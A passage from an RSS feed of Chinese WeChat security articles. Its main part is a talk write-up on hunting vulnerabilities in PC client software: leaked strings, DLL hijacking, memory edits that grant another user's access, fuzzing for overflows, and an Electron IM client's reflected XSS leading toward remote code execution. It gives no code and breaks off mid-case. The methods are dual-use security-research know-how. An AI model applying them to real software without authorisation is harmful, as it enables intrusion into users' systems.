center;"><img class="rich_pages wxw-img" data-backh="388" data-backw="578" data-imgfileid="100004725" data-ratio="0.6717948717948717" style="width: 100%;height: auto;" data-type="png" data-w="975" src="https://wechat2rss.xlab.app/img-proxy/?k=6871c8a5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57MMeBdaMiaZObn5lDIfyEk11cAKqXVFx24h7OJxc1pylo3ITkJRGTYxibYmGdoicLUr9mR9QunOhr5qQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><section style="line-height: 1.6em;text-align: left;"><br/></section><section style="line-height: 1.6em;text-align: left;"><strong style="outline: 0px;color: rgb(59, 85, 171);font-family: &#34;Helvetica Neue&#34;;font-size: 20px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);visibility: visible;"><span style="outline: 0px;font-variant-numeric: normal;font-variant-east-asian: normal;font-variant-alternates: normal;font-variant-position: normal;visibility: visible;">参考链接：</span></strong><span style="font-size: 18px;"><br/><a href="https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/" target="_blank">https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-文件上传分析-S2-066/</a><br/><a href="https://xz.aliyun.com/t/13172" target="_blank">https://xz.aliyun.com/t/13172</a><o:p></o:p></span></section><section style="line-height: 1.6em;text-align: left;"><br/></section><section style="display: none;line-height: 1.6em;text-align: left;"><br/></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247488378">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=bd5d90ae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4Nzc3MTk3Mg%3D%3D%26mid%3D2247488378%26idx%3D1%26sn%3D1f8fe746251c491a981785d65aaf137c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 22 Dec 2023 08:40:00 +0800</pubDate>
    </item>
    <item>
      <title>被忽视的暗面：客户端应用漏洞挖掘之旅</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4Nzc3MTk3Mg==&amp;mid=2247488347&amp;idx=1&amp;sn=347f24964b3cd3a81f5a2c05b171ffe5</link>
      <description>客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序。</description>
      <content:encoded><![CDATA[<p>
原创 <span>key</span> <span>2023-12-18 15:00</span> <span style="display: inline-block;">江苏</span>
</p>

<p>客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4ab24036&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgsqKTD718lpaWngJTK3qhTWDjsXoicsWrtsgmQ2cbt2Mo6geJfiaNdryg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h1 data-sourcepos="1:1-1:56" style="box-sizing: border-box;font-size: 2em;margin-top: 0px !important;margin-right: 0px;margin-bottom: 16px;margin-left: 0px;font-weight: 600;line-height: 1.25;padding-bottom: 0.3em;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">被忽视的暗面：客户端应用漏洞挖掘之旅</h1><p data-sourcepos="3:1-3:31" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">key@中孚信息元亨实验室</p><h2 data-sourcepos="5:1-5:9" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>前言</h2><p data-sourcepos="7:1-7:269" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">在2023年12月15日，我有幸参加了由“字节跳动安全中心”举办的“安全范儿”沙龙活动。作为“中孚信息元亨实验室”的一员，我被邀请分享名为“被忽视的暗面：客户端应用漏洞挖掘之旅”的技术议题。</p><p data-sourcepos="9:1-9:422" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">客户端应用漏洞是许多人在进行漏洞挖掘和安全测试时容易忽视的领域。随着技术的更迭和攻防手段的升级，客户端应用漏洞也逐渐出现在大众视野中（APT攻击、攻防赛事等等），在本次议题中，我们将重点关注PC侧的客户端应用程序，如即时通讯、远程服务、视频软件等应用，探索其中存在的漏洞和潜在的安全风险。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004628" data-ratio="0.5203703703703704" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=21f4b77e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgpSEoUMPBSBB40VcUkztkT3RSMribqgjekJV6u83wKrjkMRqicFibllnTg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-sourcepos="13:1-13:15" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 1.5em;line-height: 1.25;padding-bottom: 0.3em;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(234, 236, 239);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">漏洞案例</h2><p data-sourcepos="15:1-15:123" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">漏洞案例的分析主要分为两类，一是常规风险的介绍和了解，二是RCE漏洞的挖掘思路和手法。</p><p data-sourcepos="15:1-15:123" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><strong>注意：以下漏洞案例均通过脱敏和细节上的处理。</strong><br/><mpchecktext><br/></mpchecktext></p><h3 data-sourcepos="17:1-17:19" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>常规风险篇</h3><p data-sourcepos="19:1-19:102" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">常规风险在这里我分为这几类：信息泄露、白利用、逻辑校验、缓冲区溢出。</p><h4 data-sourcepos="21:1-21:17" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>信息泄漏</h4><p data-sourcepos="23:1-23:193" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">对于客户端的信息泄露，我一开始采用的方式就是基于IDA Strings进行敏感的字符串信息匹配，将HaE的规则转为Yara规则再通过FindCrypt3插件进行匹配。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004629" data-ratio="0.4787037037037037" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2c0926d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgfTGvNKCYdPIPjgsvgf2Iicia9SF8hYicjQ7MKkWqCapOjZ4YsUHhr48Sw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="27:1-27:159" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">实际效果没有那么好，仅有一些数据库的连接配置信息泄露，并且由于是基于IDA的也没有那么好的进行自动批量化发现。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004630" data-ratio="0.07222222222222222" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=56a4013c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgW3uyPbn2Mek8yZ0U5W6ibVWEhXT6QfL80urpflQP2ShXBnYWiac49Tbw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="33:1-33:132" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">我们可以借助<code style="box-sizing: border-box;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, monospace;font-size: 13.6px;padding: 0.2em 0.4em;margin: 0px;background-color: rgba(27, 31, 35, 0.05);color: rgb(85, 85, 85);border-radius: 3px;">Strings</code>工具来快速的获取可执行文件的字符串内容，并通过正则或其他方式进行匹配。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004631" data-ratio="0.35833333333333334" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=e36860a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgbzTOeGmBPzbW9vKjCcSXZpQIcMRvBDXokfz9eOibjebicoKzEWibtiaJXA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-sourcepos="37:1-37:14" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">白利用</h4><p data-sourcepos="39:1-39:240" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">白利用问题就老生常谈了，在红队的工作中也经常遇到，如DLL文件没有经过比对导致的劫持问题、带有签名的程序可以通过参数的方式执行任意命令。因此在这里就不过多赘述了。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004632" data-ratio="0.48055555555555557" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=39fb1a48&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTg5ibC2WuibbfibTmJlAAicaaj1Zq9GkPp1bmyU35NPnZJ6pStgAedJCZwJQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004633" data-ratio="0.4425925925925926" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=da37af11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgHLgibhCkl5sSib15iazCicXLfoPPniamQpnTgaYr4Ate9c1DJd7aLNq4GCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 data-sourcepos="45:1-45:17" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">逻辑校验</h4><p data-sourcepos="47:1-47:293" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">很多客户端程序在对用户信息进行获取的时候会通过内存的方式，来获取用户的编号，从而基于此进一步来获取用户的信息。然而这种方式并不是完全可信的，我们可以通过CE来对内存进行修改，从而导致越权漏洞的产生。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004634" data-ratio="0.525" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2ed56644&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgkFRldsqhZt2iaB0q7I918bznQfFWLgkFThjXtXjGCqeS0DVEZEUHvhw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span style="caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;display: inline !important;float: none;">这类问题很经典，在以往就有许多案例（wooyun-2015-0143395、wooyun-2014-048606），但现在仍然可以从一些主流的应用上发现到类似的安全问题。<br/></span></p><h4 data-sourcepos="53:1-53:20" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">缓冲区溢出</h4><p data-sourcepos="55:1-55:289" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">缓冲区溢出问题太多太多了，我们可以通过通过IDA插件VulFi定位脆弱点，很轻松的在一些客户端应用上找到堆、栈溢出问题。除此之外，也可以通过Boofuzz来对客户端应用开启的本地网络服务进行Fuzz，从而找到溢出问题。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004635" data-ratio="0.5157407407407407" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=6a409b15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgZgo4LibmBdYntS8D6M2kVV7ibgxPQvmBuWwq7fE5obaia1ahibtNRsia3NA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="59:1-59:456" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">除了本地网络服务以外，最经典的、利用最多的还是特定文件格式处理客户端，如常用的Word、Excel。我在实际挖掘的过程中找到了一些图片处理的客户端程序，它用于各种各样的图片处理，我们可以找一些比较不常见的图片格式，并且通过网盘资源找到一些样本文件，丢给GPT或IFFA来分析文件格式，并输出Pits脚本，通过Peach Fuzzer来进行Fuzz工作。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004636" data-ratio="0.33240740740740743" data-s="300,640" style="" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=f1452607&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgicAy4EibmAyOoYlcVVEfp4p1xAZ9vopMcg8N1UqgYPsQpL44ia7IiaMWoA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h3 data-sourcepos="64:1-64:10" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 1.25em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">RCE篇</h3><p data-sourcepos="66:1-66:356" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">接着我们来到RCE篇，请注意这里的RCE并不是Pre Auth的，案例中提到的大多需要1 Click进行交互才能利用。但也不是绝对，如果一些客户端的网络服务端口是监听在0.0.0.0的，只要你与目标机器处于同一个网络，或该客户端是在服务器上使用的，也一样可以实现0 Click的效果。</p><h4 data-sourcepos="68:1-68:20" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-weight: 600;font-size: 16px;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>Web类客户端</h4><p data-sourcepos="70:1-70:251" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">Web类客户端，我的定义是基于HTML、CSS、JS等Web前端技术所构建的客户端应用程序，如Electron这类CEF（浏览器嵌入式）框架开发的客户端应用，以及基于渲染引擎（如Wke）所开发的客户端应用。</p><h5 data-sourcepos="72:1-72:26" style="box-sizing: border-box;margin-top: 24px;margin-bottom: 16px;font-size: 0.875em;font-weight: 600;line-height: 1.25;color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;"><span style="box-sizing: border-box;display: inline-block;fill: currentcolor;vertical-align: middle;color: rgb(0, 0, 0);visibility: hidden;"></span>某IM客户端应用</h5><p data-sourcepos="74:1-74:191" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: auto;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;">如下图所示，是一个即时通讯客户端应用，我在群名称重命名时发现了一个反射XSS漏洞，根据其目录结构我知道它是一个基于Electron开发的程序。</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-imgfileid="100004637" data-ratio="0.947103274559194" data-s="300,640" style="" data-type="png" data-w="794" src="https://wechat2rss.xlab.app/img-proxy/?k=e06f5d74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkAeFn7TN57Nj4pmD5cibTbJicdw6tSDPTgsvk0HxiaSdr12PYprHdTbiar65kxEVpyRtstdZfSKKUYwwoRhsFrLcYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-sourcepos="59:1-59:456" style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;caret-color: rgb(36, 41, 46);color: rgb(36, 41, 46);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, 